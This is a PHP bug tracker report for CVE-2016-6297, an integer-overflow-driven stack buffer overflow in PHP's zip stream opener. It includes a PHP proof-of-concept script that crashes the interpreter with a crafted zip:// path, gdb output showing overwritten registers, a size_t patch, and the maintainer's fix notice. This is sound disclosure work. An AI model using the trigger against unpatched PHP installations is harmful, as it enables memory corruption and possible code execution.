php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72520 Stack-based buffer overflow vulnerability in php_stream_zip_opener
Submitted: 2016-06-30 06:55 UTC Modified: 2016-07-25 15:21 UTC
From: loianhtuan at gmail dot com Assigned: stas (profile)
Status: Closed Package: Zip Related
PHP Version: 7.1Git-2016-06-30 (Git) OS:
Private report: No CVE-ID: 2016-6297
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: loianhtuan at gmail dot com
New email:
PHP Version: OS:

 

 [2016-06-30 06:55 UTC] loianhtuan at gmail dot com
Description:
------------
When open a zip stream, php_stream_zip_opener failed to check the path_len that is vulnerable to integer overflow, later it is used to calculate the length of memcpy, leads to buffer overflow and memory corruption.

<snippet ext/zip/zip_stream.c:289>
	fragment_len = strlen(fragment);

	if (fragment_len < 1) {
		return NULL;
	}
	path_len = strlen(path); //path_len can be negative
	if (path_len >= MAXPATHLEN || mode[0] != 'r') {
		return NULL;
	}

	memcpy(file_dirname, path, path_len - fragment_len); //(path_len - fragment_len) can be controlled
</snippet>

If php is compiled without stack cookie or attacker somehow leaked the stackcookie value then arbitrary code execution is possible.



Test script:
---------------
<?php
ini_set('memory_limit',-1);
$fragment_len = 0x7fffffff-1; //minus '#'
$overflow_len = 0x1050;
$fp = fopen('zip://'.str_repeat('B',$overflow_len).'#'.str_repeat('A',$fragment_len),'r');
?>

Expected result:
----------------
no crash

Actual result:
--------------
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x4242424242424243 ('CBBBBBBB')
RBX: 0x1
RCX: 0x11c7260 --> 0x0
RDX: 0x2000 ('')
RSI: 0x2000 ('')
RDI: 0x4242424242424243 ('CBBBBBBB')
RBP: 0x7fffffff99b0 --> 0x7fffffff99f0 --> 0x7fffffff9a40 --> 0x7fffffff9a70 --> 0x7fffffff9ab0 --> 0x7fffffffab60 ('B' <repeats 16 times>, "\001")
RSP: 0x7fffffff99b0 --> 0x7fffffff99f0 --> 0x7fffffff9a40 --> 0x7fffffff9a70 --> 0x7fffffff9ab0 --> 0x7fffffffab60 ('B' <repeats 16 times>, "\001")
RIP: 0x7a074d (<_hash_string+81>:       movzx  eax,BYTE PTR [rax])
R8 : 0x11c72e0 --> 0x0
R9 : 0x79 ('y')
R10: 0x7fffffff9740 --> 0x0
R11: 0x7ffff6df3101 (<__GI___libc_realloc+769>: xor    eax,0xfe92a)
R12: 0x424250 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe6c0 --> 0x2
R14: 0x7ffff6814030 --> 0x7ffff68802c0 --> 0x899d67 (<ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER>:  push   rbp)

R15: 0x7ffff68802c0 --> 0x899d67 (<ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER>:     push   rbp)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7a0740 <_hash_string+68>:  mov    WORD PTR [rbp-0x2],ax
   0x7a0744 <_hash_string+72>:  add    QWORD PTR [rbp-0x18],0x1
   0x7a0749 <_hash_string+77>:  mov    rax,QWORD PTR [rbp-0x18]
=> 0x7a074d <_hash_string+81>:  movzx  eax,BYTE PTR [rax]
   0x7a0750 <_hash_string+84>:  test   al,al
   0x7a0752 <_hash_string+86>:  jne    0x7a0720 <_hash_string+36>
   0x7a0754 <_hash_string+88>:  movzx  eax,WORD PTR [rbp-0x2]
   0x7a0758 <_hash_string+92>:  pop    rbp
[------------------------------------stack-------------------------------------]
0000| 0x7fffffff99b0 --> 0x7fffffff99f0 --> 0x7fffffff9a40 --> 0x7fffffff9a70 --> 0x7fffffff9ab0 --> 0x7fffffffab60 ('B' <repeats 16 times>, "\001")
0008| 0x7fffffff99b8 --> 0x7a0aac (<_zip_hash_lookup+95>:       mov    WORD PTR [rbp-0xa],ax)
0016| 0x7fffffff99c0 --> 0x11c7260 --> 0x0
0024| 0x7fffffff99c8 --> 0x11c7250 --> 0x11c57a0 --> 0x0
0032| 0x7fffffff99d0 ("CBBBBBBB")
0040| 0x7fffffff99d8 --> 0x1117b00 --> 0x7ffff7122000 (MemError)
0048| 0x7fffffff99e0 --> 0x0
0056| 0x7fffffff99e8 --> 0x7fffffff9a90 ("CBBBBBBBPr\034\001")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000007a074d in _hash_string (
    name=0x4242424242424243 <error: Cannot access memory at address 0x4242424242424243>, size=0x2000)
    at /root/php-src/ext/zip/lib/zip_hash.c:113
113         while (*name != 0) {
gdb-peda$ q

==============================================================================
<<<< backtrace before memory corruption, break before memcpy  >>>>
299             memcpy(file_dirname, path, path_len - fragment_len);
gdb-peda$ list
294             path_len = strlen(path);
295             if (path_len >= MAXPATHLEN || mode[0] != 'r') {
296                     return NULL;
297             }
298
299             memcpy(file_dirname, path, path_len - fragment_len);
300             file_dirname[path_len - fragment_len] = '\0';
301
302             file_basename = php_basename(path, path_len - fragment_len, NULL, 0);
303             fragment++;
gdb-peda$ bt
#0  php_stream_zip_opener (wrapper=0x108e550 <php_stream_zip_wrapper>,
    path=0x7ffef620001e 'B' <repeats 200 times>..., mode=0x7ffff6858bd8 "r", options=0x0,
    opened_path=0x0, context=0x7ffff6858c40, __php_stream_call_depth=0x1,
    __zend_filename=0xd58a00 "/root/php-src/main/streams/streams.c", __zend_lineno=0x80e,
    __zend_orig_filename=0xd3a5b0 "/root/php-src/ext/standard/file.c", __zend_orig_lineno=0x366)
    at /root/php-src/ext/zip/zip_stream.c:299
#1  0x00000000007cc57f in _php_stream_open_wrapper_ex (
    path=0x7ffef6200018 "zip://", 'B' <repeats 194 times>..., mode=0x7ffff6858bd8 "r", options=0x8,
    opened_path=0x0, context=0x7ffff6858c40, __php_stream_call_depth=0x0,
    __zend_filename=0xd3a5b0 "/root/php-src/ext/standard/file.c", __zend_lineno=0x366,
    __zend_orig_filename=0x0, __zend_orig_lineno=0x0) at /root/php-src/main/streams/streams.c:2060
#2  0x000000000070f0d9 in php_if_fopen (execute_data=0x7ffff6814180, return_value=0x7ffff6814160)
    at /root/php-src/ext/standard/file.c:870
#3  0x00000000006564b9 in phar_fopen (execute_data=0x7ffff6814180, return_value=0x7ffff6814160)
    at /root/php-src/ext/phar/func_interceptors.c:427
#4  0x0000000000899df0 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER ()
    at /root/php-src/Zend/zend_vm_execute.h:679
#5  0x00000000008994fd in execute_ex (ex=0x7ffff6814030) at /root/php-src/Zend/zend_vm_execute.h:429
#6  0x000000000089960f in zend_execute (op_array=0x7ffff687f000, return_value=0x0)
    at /root/php-src/Zend/zend_vm_execute.h:474
#7  0x000000000083b72f in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3)
    at /root/php-src/Zend/zend.c:1441
#8  0x00000000007ac454 in php_execute_script (primary_file=0x7fffffffe310)
    at /root/php-src/main/main.c:2532
#9  0x00000000009158b6 in do_cli (argc=0x2, argv=0x10bc9f0) at /root/php-src/sapi/cli/php_cli.c:990
#10 0x0000000000916875 in main (argc=0x2, argv=0x10bc9f0) at /root/php-src/sapi/cli/php_cli.c:1378
#11 0x00007ffff6d91f45 in __libc_start_main (main=0x9161e1 <main>, argc=0x2, argv=0x7fffffffe6c8,
    init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe6b8)
    at libc-start.c:287
#12 0x0000000000424279 in _start ()
gdb-peda$

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-06-30 06:57 UTC] loianhtuan at gmail dot com
Not sure if the proposed patch file is uploaded, so I'm pasting here:

diff --git a/ext/zip/zip_stream.c b/ext/zip/zip_stream.c
index 3d5b002..dea0152 100644
--- a/ext/zip/zip_stream.c
+++ b/ext/zip/zip_stream.c
@@ -123,11 +123,11 @@ static int php_zip_ops_stat(php_stream *stream, php_stream_statbuf *ssb) /* {{{
 {
        struct zip_stat sb;
        const char *path = stream->orig_path;
-       int path_len = strlen(stream->orig_path);
+       size_t path_len = strlen(stream->orig_path);
        char file_dirname[MAXPATHLEN];
        struct zip *za;
        char *fragment;
-       int fragment_len;
+       size_t fragment_len;
        int err;
        zend_string *file_basename;

@@ -263,7 +263,7 @@ php_stream *php_stream_zip_opener(php_stream_wrapper *wrapper,
                                                                                        zend_string **opened_path,
                                                                                        php_stream_context *context STREAMS_DC)
 {
-       int path_len;
+       size_t path_len;

        zend_string *file_basename;
        char file_dirname[MAXPATHLEN];
@@ -271,7 +271,7 @@ php_stream *php_stream_zip_opener(php_stream_wrapper *wrapper,
        struct zip *za;
        struct zip_file *zf = NULL;
        char *fragment;
-       int fragment_len;
+       size_t fragment_len;
        int err;

        php_stream *stream = NULL;
 [2016-07-13 05:06 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-07-13 05:06 UTC] stas@php.net
Fix in security repo as 81406c0c1d45f75fcc7972ed974d2597abb0b9e9 and in https://gist.github.com/f4bc6912ba9c2144f83032ca769f7d2b
 [2016-07-14 02:31 UTC] loianhtuan at gmail dot com
Thanks Stas, can you request a CVE for me please?
 [2016-07-19 09:00 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-07-19 09:00 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-07-25 15:21 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-6297
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sun Oct 06 13:01:27 2024 UTC